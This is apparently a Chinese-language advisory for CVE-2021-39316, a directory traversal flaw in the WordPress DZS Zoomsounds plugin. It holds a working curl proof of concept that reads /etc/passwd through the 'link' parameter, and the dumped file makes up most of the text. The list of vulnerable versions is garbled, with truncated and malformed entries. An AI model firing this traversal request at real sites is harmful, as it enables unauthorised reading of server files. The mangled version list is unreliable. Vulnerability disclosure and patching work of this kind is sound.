# WordPress DZS Zoomsounds 6.45 Arbitrary File Read(CVE-2021-39316)

该漏洞允许远程攻击者执行目录遍历攻击。

该漏洞是由于处理“dzsap\_download”动作中的“link”参数中的目录遍历序列时输入验证错误造成的。远程攻击者可以发送特制的 HTTP 请求并读取系统上的任意文件。

易受攻击的软件版本 ZoomSounds：

1.10, 1.20, 1.30, 1.40, 1.41, 1.43, 1.45, 1.50, 1.51, 1.60, 1.61, 1.62, 1.63, 1.70, 2.00, 2.00, 2, 2.02, 2.

2.42, 2.43, 2.44, 2.45, 2.46, 2.51, 2.60, 2.61, 2.62, 2.63, 2.64, 2.70, 2.72, 2.75, 3.00, 3.03,10, 3.03,10, 3

3.12, 3.21, 3.23, 3.24, 3.30, 3.31, 3.32, 3.33, 3.40, 4.00, 4.10, 4.15, 4.20, 4.32, 4.47, 4.60,30, 5

5.04, 5.12, 5.18, 5.30, 5.31, 5.48, 5.60, 5.70, 5.82, 5.84, 5.91, 5.93, 5.95, 5.96, 6.00, 6.14, 6.45, 6

防范；

从供应商的网站安装更新。

PoC:

user@ubuntu:~$ curl "http://localhost/MYzoomsounds/?action=dzsap\_download&link=../../../../../../../../../../etc/passwd"

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin